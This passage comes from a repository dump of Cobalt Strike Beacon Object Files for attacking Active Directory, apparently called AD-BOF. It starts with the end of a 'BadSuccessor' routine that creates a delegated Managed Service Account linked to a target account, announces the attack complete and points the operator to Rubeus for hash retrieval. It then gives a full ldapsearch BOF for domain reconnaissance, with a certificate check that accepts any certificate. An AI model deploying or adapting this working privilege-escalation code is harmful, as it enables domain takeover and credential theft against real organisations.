SDDL_REVISION_1,\n        &pSD,\n        &sdSize\n    );\n\n    if (rc == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] ConvertStringSecurityDescriptorToSecurityDescriptor failed\\n\");\n    }\n\n    struct berval sdVal, *sdVals[2];\n    sdVal.bv_len = sdSize;       // previously converted from SDDL\n    sdVal.bv_val = (char*)pSD;\n    sdVals[0] = &sdVal;\n    sdVals[1] = NULL;\n\n    modObjectClass.mod_op     = LDAP_MOD_ADD;\n    modObjectClass.mod_type   = \"objectClass\";\n    modObjectClass.mod_values = objectClassVals;\n\n    modMSAState.mod_op     = LDAP_MOD_ADD;\n    modMSAState.mod_type   = \"msDS-DelegatedMSAState\";\n    modMSAState.mod_values = msaStateVals;\n\n    modInterval.mod_op     = LDAP_MOD_ADD;\n    modInterval.mod_type   = \"msDS-ManagedPasswordInterval\";\n    modInterval.mod_values = intervalVals;\n\n    modDns.mod_op     = LDAP_MOD_ADD;\n    modDns.mod_type   = \"dNSHostName\";\n    modDns.mod_values = dnsVals;\n\n    modSam.mod_op     = LDAP_MOD_ADD;\n    modSam.mod_type   = \"sAMAccountName\";\n    modSam.mod_values = samVals;\n\n    linkAttr.mod_op     = LDAP_MOD_ADD;\n    linkAttr.mod_type   = \"msDS-ManagedAccountPrecededByLink\";\n    linkAttr.mod_values = linkVals;\n\n    encAttr.mod_op     = LDAP_MOD_ADD;\n    encAttr.mod_type   = \"msDS-SupportedEncryptionTypes\";\n    encAttr.mod_values = encVals;\n\n    uacAttr.mod_op     = LDAP_MOD_ADD;\n    uacAttr.mod_type   = \"userAccountControl\";\n    uacAttr.mod_values = uacVals;\n\n    sdAttr.mod_op     = LDAP_MOD_ADD | LDAP_MOD_BVALUES;\n    sdAttr.mod_type   = \"msDS-GroupMSAMembership\";\n    sdAttr.mod_bvalues = sdVals;\n\n    mods[0] = &modObjectClass;\n    mods[1] = &modMSAState;\n    mods[2] = &modInterval;\n    mods[3] = &modDns;\n    mods[4] = &modSam;\n\n    mods[5] = &linkAttr;\n    mods[6] = &encAttr;\n    mods[7] = &uacAttr;\n    mods[8] = &sdAttr;\n    mods[9] = NULL;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Attempting to add object: %s\\n\", childDn);\n\n    result = WLDAP32$ldap_add_s(ld, childDn, mods);\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to add entry: %s\\n\", WLDAP32$ldap_err2string(result));\n        goto cleanup;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully added dMSA object: %s\\n\", dMSAname);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] BadSuccessor attack complete. The dMSA object is now linked to the target.\\n\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Use Rubeus or Kerbeus BOF to retrieve TGS and password hash.\\n\");\n\ncleanup:\n    if (ld != NULL) {\n        WLDAP32$ldap_unbind(ld);\n    }\n}"
  },
  {
    "path": "AD-BOF/ldapsearch/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "AD-BOF/ldapsearch/ldapsearch.c",
    "content": "#include <windows.h>\n#include <dsgetdc.h>\n#include <winldap.h>\n#include <winber.h>\n#include <rpc.h>\n#include <lm.h>\n#include <sddl.h>\n#include <rpcdce.h>\n#include <stdint.h>\n#define DYNAMIC_LIB_COUNT 1\n\n#include \"base.c\"\n#define SECURITY_WIN32\n#include <secext.h> \n\n#define MAX_ATTRIBUTES 100\n\ntypedef long (*_fuuidtostring)(UUID *Uuid,RPC_CSTR *StringUuid);\ntypedef long (*_RpcStringFreeA)(RPC_CSTR *String);\ntypedef ULONG LDAPAPI (*_ldap_search_abondon_page)(PLDAP h, PLDAPSearch S);\n_fuuidtostring fuuidtostring = (void *)1;\n_RpcStringFreeA frpcstringfree = (void *)1;\nHMODULE rpcrt = (void *)1; \n\ntypedef LDAP *LDAPAPI (*ldap_init_t)(PSTR HostName, ULONG PortNumber);\ntypedef ULONG LDAPAPI (*ldap_set_optionW_t)(LDAP *ld, int option, const void *invalue);\ntypedef ULONG LDAPAPI (*ldap_get_optionW_t)(LDAP *ld, int option,  void *invalue);\ntypedef ULONG LDAPAPI (*ldap_bind_s_t)(LDAP *ld, const PSTR dn, const PCHAR cred, ULONG method);\ntypedef ULONG LDAPAPI (*ldap_unbind_t)(LDAP*);\ntypedef ULONG LDAPAPI (*ldap_msgfree_t)(LDAPMessage*);\ntypedef VOID LDAPAPI (*ldap_memfree_t)(PCHAR);\ntypedef LDAPMessage* (*ldap_first_entry_t)(LDAP *ld,LDAPMessage *res);\ntypedef ULONG LDAPAPI (*ldap_get_next_page_s_t)(PLDAP ExternalHandle,PLDAPSearch SearchHandle,struct l_timeval *timeout,ULONG PageSize,ULONG *TotalCount,LDAPMessage **Results);\ntypedef ULONG LDAPAPI (*ldap_count_entries_t)(LDAP*,LDAPMessage*);\ntypedef LDAPMessage*  (*ldap_next_entry_t)(LDAP*,LDAPMessage*);\ntypedef PCHAR LDAPAPI (*ldap_first_attribute_t)(LDAP *ld,LDAPMessage *entry,BerElement **ptr);\ntypedef struct berval **LDAPAPI (*ldap_get_values_lenA_t)(LDAP *ExternalHandle,LDAPMessage *Message,const PCHAR attr);\ntypedef PCHAR * LDAPAPI (*ldap_get_values_t)(LDAP *ld,LDAPMessage *entry,const PSTR attr);\ntypedef ULONG LDAPAPI (*ldap_value_free_len_t)(struct berval **vals);\ntypedef ULONG LDAPAPI (*ldap_value_free_t)(PCHAR *);\ntypedef PCHAR LDAPAPI (*ldap_next_attribute_t)(LDAP *ld,LDAPMessage *entry,BerElement *ptr);\ntypedef PLDAPSearch LDAPAPI (*ldap_search_init_pageA_t)(PLDAP ExternalHandle,const PCHAR DistinguishedName,ULONG ScopeOfSearch,const PCHAR SearchFilter,PCHAR AttributeList[],ULONG AttributesOnly,PLDAPControlA *ServerControls,PLDAPControlA *ClientControls,ULONG PageTimeLimit,ULONG TotalSizeLimit,PLDAPSortKeyA *SortKeys);\nWINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);\nWINBERAPI BerElement *BERAPI WLDAP32$ber_alloc_t(INT options);\nWINBERAPI INT BERAPI WLDAP32$ber_printf(BerElement *pBerElement, PSTR fmt, ...);\nWINBERAPI INT BERAPI WLDAP32$ber_flatten(BerElement *pBerElement, PBERVAL *pBerVal);\nWINLDAPAPI VOID LDAPAPI WLDAP32$ber_bvfree(PBERVAL bv);\n\n#define WLDAP32$ldap_init ((ldap_init_t)DynamicLoad(\"WLDAP32\", \"ldap_init\"))\n#define WLDAP32$ldap_set_optionW ((ldap_set_optionW_t)DynamicLoad(\"WLDAP32\", \"ldap_set_optionW\"))\n#define WLDAP32$ldap_get_optionW ((ldap_get_optionW_t)DynamicLoad(\"WLDAP32\", \"ldap_get_optionW\"))\n#define WLDAP32$ldap_bind_s ((ldap_bind_s_t)DynamicLoad(\"WLDAP32\", \"ldap_bind_s\"))\n#define WLDAP32$ldap_unbind ((ldap_unbind_t)DynamicLoad(\"WLDAP32\", \"ldap_unbind\"))\n#define WLDAP32$ldap_msgfree ((ldap_msgfree_t)DynamicLoad(\"WLDAP32\", \"ldap_msgfree\"))\n#define WLDAP32$ldap_memfree ((ldap_memfree_t)DynamicLoad(\"WLDAP32\", \"ldap_memfree\"))\n#define WLDAP32$ldap_first_entry ((ldap_first_entry_t)DynamicLoad(\"WLDAP32\", \"ldap_first_entry\"))\n#define WLDAP32$ldap_get_next_page_s ((ldap_get_next_page_s_t)DynamicLoad(\"WLDAP32\", \"ldap_get_next_page_s\"))\n#define WLDAP32$ldap_count_entries ((ldap_count_entries_t)DynamicLoad(\"WLDAP32\", \"ldap_count_entries\"))\n#define WLDAP32$ldap_next_entry ((ldap_next_entry_t)DynamicLoad(\"WLDAP32\", \"ldap_next_entry\"))\n#define WLDAP32$ldap_first_attribute ((ldap_first_attribute_t)DynamicLoad(\"WLDAP32\", \"ldap_first_attribute\"))\n#define WLDAP32$ldap_get_values_lenA ((ldap_get_values_lenA_t)DynamicLoad(\"WLDAP32\", \"ldap_get_values_lenA\"))\n#define WLDAP32$ldap_get_values ((ldap_get_values_t)DynamicLoad(\"WLDAP32\", \"ldap_get_values\"))\n#define WLDAP32$ldap_value_free_len ((ldap_value_free_len_t)DynamicLoad(\"WLDAP32\", \"ldap_value_free_len\"))\n#define WLDAP32$ldap_value_free ((ldap_value_free_t)DynamicLoad(\"WLDAP32\", \"ldap_value_free\"))\n#define WLDAP32$ldap_next_attribute ((ldap_next_attribute_t)DynamicLoad(\"WLDAP32\", \"ldap_next_attribute\"))\n#define WLDAP32$ldap_search_init_pageA ((ldap_search_init_pageA_t)DynamicLoad(\"WLDAP32\", \"ldap_search_init_pageA\"))\n\nVERIFYSERVERCERT ServerCertCallback;\nBOOLEAN _cdecl ServerCertCallback (PLDAP Connection, PCCERT_CONTEXT pServerCert)\n{\n\treturn TRUE;\n}\nvoid ConvertUnicodeStringToChar(const wchar_t* src, size_t srcSize, char* dst, size_t dstSize)\n{\n    KERNEL32$WideCharToMultiByte(CP_ACP, 0, src, (int)srcSize, dst, (int)dstSize, NULL, NULL);\n    dst[dstSize - 1] = '\\0';\n}\n\n//https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ldap/ldap-server-sd-flags-oid\n// Set LDAP server control flags so low-privileged domain users can read nTSecurityDescriptor attribute\nPLDAPControlA FormatSDFlags(int iFlagValue) {\n\tBerElement *pber = NULL;\n\tPLDAPControl pLControl = NULL;\n\tPBERVAL pldctrl_value = NULL;\n\tint success = -1;\n\t// Format and encode the SEQUENCE data in a BerElement.\n\tpber = WLDAP32$ber_alloc_t(LBER_USE_DER);\n\tif(pber==NULL) return NULL;\n\tpLControl = (PLDAPControl)MSVCRT$malloc(sizeof(LDAPControl));\n\tif(pLControl==NULL) { WLDAP32$ber_free(pber,1); return NULL; }\n\tWLDAP32$ber_printf(pber,\"{i}\",iFlagValue);\n\t\n\t// Transfer the encoded data into a BERVAL.\n\tsuccess = WLDAP32$ber_flatten(pber,&pldctrl_value);\n\tif(success == 0)\n\t\tWLDAP32$ber_free(pber,1);\n\telse {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"ber_flatten failed!\");\n\t\t// Call error handler here.\n\t}\n\t// Copy the BERVAL data to the LDAPControl structure.\n\tpLControl->ldctl_oid = \"1.2.840.113556.1.4.801\";\n\tpLControl->ldctl_iscritical = TRUE;\n\tpLControl->ldctl_value.bv_val = (char*)MSVCRT$malloc((size_t)pldctrl_value->bv_len);\n\tmemcpy(pLControl->ldctl_value.bv_val, pldctrl_value->bv_val, pldctrl_value->bv_len);\n\tpLControl->ldctl_value.bv_len = pldctrl_value->bv_len;\n\t\n\t// Cleanup temporary berval.\n\tWLDAP32$ber_bvfree(pldctrl_value);\n\t// Return the formatted LDAPControl data.\n\treturn pLControl;\n}\n\n// https://opensource.apple.com/source/QuickTimeStreamingServer/QuickTimeStreamingServer-452/CommonUtilitiesLib/base64.c.auto.html\nstatic const char basis_64[] =\n\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nint Base64encode(char* encoded, const char* string, int len) {\n\tint i;\n\tchar* p;\n\n\tp = encoded;\n\tfor (i = 0; i < len - 2; i += 3) {\n\t\t*p++ = basis_64[(string[i] >> 2) & 0x3F];\n\t\t*p++ = basis_64[((string[i] & 0x3) << 4) |\n\t\t\t((int)(string[i + 1] & 0xF0) >> 4)];\n\t\t*p++ = basis_64[((string[i + 1] & 0xF) << 2) |\n\t\t\t((int)(string[i + 2] & 0xC0) >> 6)];\n\t\t*p++ = basis_64[string[i + 2] & 0x3F];\n\t}\n\tif (i < len) {\n\t\t*p++ = basis_64[(string[i] >> 2) & 0x3F];\n\t\tif (i == (len - 1)) {\n\t\t\t*p++ = basis_64[((string[i] & 0x3) << 4)];\n\t\t\t*p++ = '=';\n\t\t}\n\t\telse {\n\t\t\t*p++ = basis_64[((string[i] & 0x3) << 4) |\n\t\t\t\t((int)(string[i + 1] & 0xF0) >> 4)];\n\t\t\t*p++ = basis_64[((string[i + 1] & 0xF) << 2)];\n\t\t}\n\t\t*p++ = '=';\n\t}\n\n\t*p++ = '\\0';\n\treturn p - encoded;\n}\n\nLDAP* InitialiseLDAPConnection(PCHAR hostName, PCHAR distinguishedName, BOOL ldaps){\n\tLDAP* pLdapConnection = NULL;\n    ULONG result;\n    int portNumber = ldaps == TRUE ? 636 : 389;\n\n    pLdapConnection = WLDAP32$ldap_init(hostName, portNumber);\n\n\tif (pLdapConnection == NULL)\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR,\"[-] Failed to establish LDAP connection on %d.\\n\", portNumber);\n\t\treturn NULL;\n\t}\n\n\t// Set LDAP version to 3 (required for many security features)\n\tULONG version = LDAP_VERSION3;\n\tresult = WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_VERSION, (void*)&version);\n\tif (result != LDAP_SUCCESS) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set LDAP version: %lu\\n\", result);\n\t}\n\n\tif(ldaps == TRUE){\n\t\t// For LDAPS (port 636), we need SSL\n\t\tresult = WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_SSL, LDAP_OPT_ON);\n\t\tif (result != LDAP_SUCCESS) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"[-] Failed to enable SSL: %lu\\n\", result);\n\t\t}\n\n\t\t// Set the certificate callback for SSL/TLS\n\t\tresult = WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_SERVER_CERTIFICATE, (void*)&ServerCertCallback);\n\t\tif (result != LDAP_SUCCESS) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set certificate callback: %lu\\n\", result);\n\t\t}\n\t}\n\telse {\n\t\t// For regular LDAP (port 389), enable signing and sealing if using LDAP_AUTH_NEGOTIATE\n\t\t// These options need to be set BEFORE binding when using Negotiate auth\n\n\t\t// Enable LDAP signing (integrity)\n\t\tvoid* value = LDAP_OPT_ON;\n\t\tresult = WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_SIGN, &value);\n\t\tif (result != LDAP_SUCCESS) {\n\t\t\tinternal_printf(\"[!] Warning: Failed to enable LDAP signing: %lu\\n\", result);\n\t\t}\n\n\t\t// Enable LDAP sealing (encryption) - this provides confidentiality\n\t\tresult = WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_ENCRYPT, &value);\n\t\tif (result != LDAP_SUCCESS) {\n\t\t\tinternal_printf(\"[!] Warning: Failed to enable LDAP sealing: %lu\\n\", result);\n\t\t}\n\t}\n\n\t//////////////////////////////\n\t// Bind to DC\n\t//////////////////////////////\n    ULONG lRtn = 0;\n\n    lRtn = WLDAP32$ldap_bind_s(\n                pLdapConnection,      // Session Handle\n                distinguishedName,    // Domain DN\n                NULL,                 // Credential structure\n                LDAP_AUTH_NEGOTIATE); // Auth mode - uses current user credentials with Kerberos/NTLM\n\n\tif(lRtn != LDAP_SUCCESS)\n\t{\n\t\t// Provide more detailed error information\n\t\tif (lRtn == LDAP_STRONG_AUTH_REQUIRED) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"[-] Bind Failed: Strong authentication required (LDAP signing may be enforced by server)\\n\");\n\t\t} else if (lRtn == LDAP_INVALID_CREDENTIALS) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"[-] Bind Failed: Invalid credentials\\n\");\n\t\t} else if (lRtn == LDAP_UNWILLING_TO_PERFORM) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"[-] Bind Failed: Server unwilling to perform operation (check security requirements)\\n\");\n\t\t} else {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"[-] Bind Failed with error: %lu\\n\", lRtn);\n\t\t}\n\t\tWLDAP32$ldap_unbind(pLdapConnection);\n\t\tpLdapConnection = NULL;\n\t}\n\telse {\n\t\tinternal_printf(\"[+] Successfully bound to LDAP server\\n\");\n\t}\n\n\treturn pLdapConnection;\n}\n\nPLDAPSearch ExecuteLDAPQuery(LDAP* pLdapConnection, PCHAR distinguishedName, char * ldap_filter, char * ldap_attributes, ULONG maxResults, ULONG scope_of_search){\n    internal_printf(\"[*] Filter: %s\\n\",ldap_filter);\n    internal_printf(\"[*] Scope of search value: %lu\\n\",scope_of_search);\n\n\t// Security descriptor flags to read nTSecurityDescriptor as low-priv domain user\n\t// value taken from https://github.com/fortalice/pyldapsearch/blob/main/pyldapsearch/__main__.py (Microsoft docs mentioned XORing all possible values to get this, but that didn't work)\n\tint sdFlags = 0x07;\n\tPLDAPControlA serverControls[2];\n\tint aclSearch = 0;\n    ULONG scope;\n\n    ULONG errorCode = LDAP_SUCCESS;\n    PLDAPSearch pSearchResult = NULL;\n    PCHAR attr[MAX_ATTRIBUTES] = {0};\n\tif(ldap_attributes){\n        internal_printf(\"[*] Returning specific attribute(s): %s\\n\",ldap_attributes);\n        \n        int attribute_count = 0;\n        char *token = NULL;\n        const char s[2] = \",\"; //delimiter\n\n        token = MSVCRT$strtok(ldap_attributes, s);\n\n        while( token != NULL ) {\n\t\t\tif (MSVCRT$_stricmp(token, \"nTSecurityDescriptor\") == 0) {\n\t\t\t\tserverControls[0] = FormatSDFlags(sdFlags);\n\t\t\t\tserverControls[1] = NULL;\n\t\t\t\taclSearch = 1;\n\t\t\t}\n            if(attribute_count < (MAX_ATTRIBUTES - 1)){\n                attr[attribute_count] = token;\n                attribute_count++;\n                token = MSVCRT$strtok(NULL, s);\n            } else {\n                internal_printf(\"[!] Cannot return more than %i attributes, will omit additional attributes.\\n\", MAX_ATTRIBUTES);\n                break;\n            }\n        }\n    }\n\n    if (scope_of_search == 1){\n        scope = LDAP_SCOPE_BASE;\n    } \n    else if (scope_of_search == 2){\n        scope = LDAP_SCOPE_ONELEVEL;\n    }\n    else if (scope_of_search == 3){\n        scope = LDAP_SCOPE_SUBTREE;\n    }\n    \n\n   \tif (aclSearch) {\n\t\tpSearchResult = WLDAP32$ldap_search_init_pageA(\n\t\tpLdapConnection,    // Session handle\n\t\tdistinguishedName,  // DN to start search\n\t\tscope, // Scope\n\t\tldap_filter,        // Filter\n\t\t(*attr) ? attr : NULL,               // Retrieve list of attributes\n\t\t0,                  // Get both attributes and values\n\t\tserverControls,\n\t\tNULL,\n\t\t15,\n\t\tmaxResults,\n\t\tNULL);    // [out] Search results\n\t\t\n\t\tMSVCRT$free(serverControls[0]->ldctl_value.bv_val);\n\t\tMSVCRT$free(serverControls[0]);\n\t} else {\n\t\tpSearchResult = WLDAP32$ldap_search_init_pageA(\n\t\tpLdapConnection,    // Session handle\n\t\tdistinguishedName,  // DN to start search\n\t\tscope, // Scope\n\t\tldap_filter,        // Filter\n\t\t(*attr) ? attr : NULL,               // Retrieve list of attributes\n\t\t0,                  // Get both attributes and values\n\t\tNULL,\n\t\tNULL,\n\t\t15,\n\t\tmaxResults,\n\t\tNULL);    // [out] Search results\n\t}\n    \n    if (pSearchResult == NULL) \n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Paging not supported on this server, aborting\");\n    }\n    return pSearchResult;\n\n}\n\nvoid customAttributes(PCHAR pAttribute, PCHAR pValue)\n{\n    if(MSVCRT$strcmp(pAttribute, \"objectGUID\") == 0) \n    {\n        if(fuuidtostring == (void *)1) // I'm doing this because we ran out of function slots for dynamic function resolution\n        {\n           rpcrt = LoadLibraryA(\"rpcrt4\");\n           fuuidtostring = (_fuuidtostring)GetProcAddress(rpcrt, \"UuidToStringA\");\n           frpcstringfree = (_RpcStringFreeA)GetProcAddress(rpcrt, \"RpcStringFreeA\");\n        }\n        RPC_CSTR G = NULL;\n        PBERVAL tmp = (PBERVAL)pValue;\n        //RPCRT4$UuidToStringA((UUID *) tmp->bv_val, &G);\n        fuuidtostring((UUID *) tmp->bv_val, &G);\n        internal_printf(\"%s\", G);\n        //RPCRT4$RpcStringFreeA(&G);       \n        frpcstringfree(&G);\n    } else if (MSVCRT$strcmp(pAttribute, \"pKIExpirationPeriod\") == 0 || MSVCRT$strcmp(pAttribute, \"pKIOverlapPeriod\") == 0 || MSVCRT$strcmp(pAttribute, \"cACertificate\") == 0 || MSVCRT$strcmp(pAttribute, \"nTSecurityDescriptor\") == 0 || MSVCRT$strcmp(pAttribute, \"msDS-AllowedToActOnBehalfOfOtherIdentity\") == 0 || MSVCRT$strcmp(pAttribute, \"msDS-GenerationId\") == 0 || MSVCRT$strcmp(pAttribute, \"auditingPolicy\") == 0 || MSVCRT$strcmp(pAttribute, \"dSASignature\") == 0 || MSVCRT$strcmp(pAttribute, \"mS-DS-CreatorSID\") == 0 || MSVCRT$strcmp(pAttribute, \"logonHours\") == 0 || MSVCRT$strcmp(pAttribute, \"schemaIDGUID\") == 0 || MSVCRT$strcmp(pAttribute, \"mSMQDigests\") == 0 || MSVCRT$strcmp(pAttribute, \"mSMQSignCertificates\") == 0 || MSVCRT$strcmp(pAttribute, \"userCertificate\") == 0 || MSVCRT$strcmp(pAttribute, \"attributeSecurityGUID\") == 0  ) {\n\t\tchar *encoded = NULL;\n\t\tPBERVAL tmp = (PBERVAL)pValue;\n\t\tULONG len = tmp->bv_len;\n\t\tencoded = (char *)MSVCRT$malloc((size_t)len*2);\n\t\tBase64encode(encoded, (char *)tmp->bv_val, len);\n        internal_printf(\"%s\", encoded);\n\t\tMSVCRT$free(encoded);\n\t}\n    else if(MSVCRT$strcmp(pAttribute, \"objectSid\") == 0 || MSVCRT$strcmp(pAttribute, \"securityIdentifier\") == 0)\n    {\n        LPSTR sid = NULL;\n\t\t//internal_printf(\"len of objectSID: %d\\n\", MSVCRT$strlen(pValue));\n        PBERVAL tmp = (PBERVAL)pValue;\n        ADVAPI32$ConvertSidToStringSidA((PSID)tmp->bv_val, &sid);\n        internal_printf(\"%s\", sid);\n        KERNEL32$LocalFree(sid);\n    }\n    else\n    {\n        internal_printf(\"%s\", pValue);\n    }\n    \n}\n\nvoid printAttribute(PCHAR pAttribute, PCHAR* ppValue){\n    internal_printf(\"\\n%s: \", pAttribute);\n    customAttributes(pAttribute, *ppValue);\n    ppValue++;\n    while(*ppValue != NULL)\n    {\n        internal_printf(\", \");\n        customAttributes(pAttribute, *ppValue);\n        ppValue++;\n    }\n}\n\nvoid ldapSearch(char * ldap_filter, char * ldap_attributes,\tULONG results_count, ULONG scope_of_search, char * hostname, char * domain, BOOL ldaps){\n\n    \n    wchar_t szDNW[1024] = {0};\n\tULONG ulSize = sizeof(szDNW) / sizeof(wchar_t);\n    BOOL res = (domain) ? TRUE : SECUR32$GetUserNameExW(NameFullyQualifiedDN, szDNW, &ulSize);\n    char * szDN = intAlloc(ulSize + 1);\n    ConvertUnicodeStringToChar(szDNW, ulSize + 1, szDN, ulSize + 1);\n    DWORD dwRet = 0;\n    PDOMAIN_CONTROLLER_INFO pdcInfo = NULL;\n    LDAP* pLdapConnection = NULL; \n    PLDAPSearch pPageHandle = NULL;\n    PLDAPMessage pSearchResult = NULL;\n    char* distinguishedName = NULL;\n    BerElement* pBer = NULL;\n    LDAPMessage* pEntry = NULL;\n    PCHAR pEntryDN = NULL;\n    LDAP_TIMEVAL timeout = {20, 0};\n    ULONG iCnt = 0;\n    PCHAR pAttribute = NULL;\n    PCHAR* ppValue = NULL;\n    ULONG results_limit = 0;\n    BOOL isbinary = FALSE;\n    ULONG stat = 0;\n    ULONG totalResults = 0;\n    HMODULE wldap = LoadLibrary(\"wldap32\");\n    if(wldap == NULL) {internal_printf(\"Unable to load required library\\n\"); return;}\n    _ldap_search_abondon_page searchDone = (_ldap_search_abondon_page)GetProcAddress(wldap, \"ldap_search_abandon_page\");\n    if(searchDone == NULL) {internal_printf(\"Unable to load required function\"); return;}\n\n\tdistinguishedName = (domain) ? domain : MSVCRT$strstr(szDN, \"DC=\");\n\tif(distinguishedName != NULL && res) {\n    \tinternal_printf(\"[*] Distinguished name: %s\\n\", distinguishedName);\t\n\t}\n\telse{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to retrieve distinguished name.\");\n        return;\n\n\t}\n\n\t////////////////////////////\n\t// Retrieve PDC\n\t////////////////////////////\n    \n    dwRet = NETAPI32$DsGetDcNameA(NULL, 